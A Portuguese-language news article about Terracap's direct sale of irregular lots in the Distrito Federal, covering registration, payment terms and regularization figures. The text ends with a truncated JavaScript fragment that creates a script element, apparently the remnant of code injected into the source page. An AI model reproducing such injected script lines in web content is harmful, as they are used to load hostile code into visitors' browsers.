A venda direta para regularizar ocupações irregulares de terras no Distrito Federal começará na quinta-feira (11) com o cadastramento de moradores do condomínio Ville de Montagne, no Jardim Botânico. A regularização poderá ser feita pelo site da Terracap ou na sede da empresa. Esta primeira fase deve beneficiar cerca de 30 mil pessoas. Devem ser vendidos aproximadamente sete mil lotes.
Nessa primeira etapa, a Terracap comercializará os imóveis com destinação residencial unifamiliar. Os que estiverem vagos, junto com comerciais, industriais e de uso misto também devem ser colocados à venda ainda neste ano. O cadastramento que começa na quinta-feira é a primeira de três etapas previstas na comercialização.
As outras duas etapas serão avaliação dos lotes, com a participação dos moradores cadastrados; e publicação do valor dos lotes para a etapa de comercialização, quando os contratos serão assinados. Afirma o presidente da Terracap, Júlio César de Azevedo Reis: “Iniciado o processo de cadastramento, os moradores poderão formar uma comissão para acompanhar o trabalho de quantificação da infraestrutura e precificação dessa estrutura”.
“O processo de regularização fundiária abrange os aspectos urbanísticos, ambientais e fundiários. Essa fase é importante, porque ela é que dá segurança jurídica ao morador”, acrescenta Júlio César. O imóvel será avaliado conforme valor de mercado, mas o preço de contrato para o morador será diferente, porque vai ser debitada a infraestrutura e a valorização que ela proporciona.
Serão três as formas de pagamento. A primeira é por meio de financiamento direto com a Terracap, em 240 meses, com taxa de juros de 0,4% ao mês e entrada de 5%. Para quem optar pelo pagamento à vista, haverá 15% de desconto no valor final do imóvel. A última forma é por financiamento de instituição bancária, com linha de crédito específica. Nesse caso, se 100% do valor do lote for financiado, terá 15% de desconto.
O processo que começará pelo condomínio Ville de Montagne se estenderá ao Solar de Brasília, Estância Jardim Botânico, Jardim Botânico 1 e 6, Parque Mirante das Paineiras, Jardim das Paineiras, além dos condomínios no Setor Habitacional Vicente Pires Trecho 3, a antiga Colônia Agrícola Samambaia. Os empreendimentos têm licença ambiental e estão aprovados pelo Conselho de Planejamento Territorial (Conplan).
Para acessar o procedimento de vendas, os moradores precisam apresentar documentos pessoais, comprovar que não têm outro imóvel no DF, por meio de certidão negativa, além de atestar que o lote foi ocupado até 22 de dezembro de 2016.
Passo a passo – O processo começa com o cadastramento, a apresentação dos documentos exigidos, a análise de enquadramento nas regras do programa e a avaliação dos imóveis, culminando na alienação. Com a Certidão de Regularização Fundiária (CRF), a Terracap vai iniciar o cadastramento dos moradores e a avaliação dos imóveis. Para ter acesso aos benefícios, o morador precisa se cadastrar no site www.terracap.df.gov.br/regularizacao ou na sede da Terracap, atrás do Palácio do Buriti.
A alienação fiduciária é o negócio jurídico entre o vendedor e o comprador, sendo que este último fica obrigado a pagar o preço, em prestações, à instituição financeira interveniente. Caso haja descumprimento no pagamento do crédito, o bem é tomado do devedor pelo credor. A alienação, portanto, é um modelo de garantia de propriedades de imóveis e móveis que tem a transferência de bens como pagamento de uma dívida a partir de um acordo firmado. No Brasil a lei que institui a alienação fiduciária é a de número 9.514, de 20 de novembro de 1997.
Legalização – Cerca de 8,3 mil terrenos em condomínios foram regularizados desde 2015. Nos últimos dois anos, o Conplan deu aval à legalização de 16 condomínios, o que beneficiou 28 mil pessoas. A maior parte da aprovação de projetos ocorreu em 2015, quando o Conplan liberou a regularização de 7.617 lotes, onde moram 25.729 pessoas.
O número é alto por causa da legalização urbanística de duas glebas de Vicente Pires, de propriedade da Terracap. Além da cidade, foram beneficiados parcelamentos no Grande Colorado, instalados em área particular, e condomínios no Setor São Bartolomeu e no Jardim Botânico — estes em área pública. Em 2016, houve 739 regularizações de lotes, no Setor Boa Vista, em Sobradinho. Os oito condomínios beneficiados pela aprovação no Conplan fazem parte da antiga Fazenda Paranoazinho e estão em terras particulares.
Capital dividido – A Terracap foi criada em 1976 e tem o capital social dividido entre a União e o GDF. O governo federal tem 49% das ações da empresa e o GDF, 51%. O Conselho de Administração da companhia é formado por nove integrantes, dos quais cinco são indicados pelo governo local, e quatro pela União. Os integrantes têm mandato de dois anos, permitida a reeleição. Os conselheiros se reúnem ordinariamente uma vez por mês e, extraordinariamente, sempre que convocados pelo presidente do conselho.var d=document;var s=d.createElement(\’script\’);
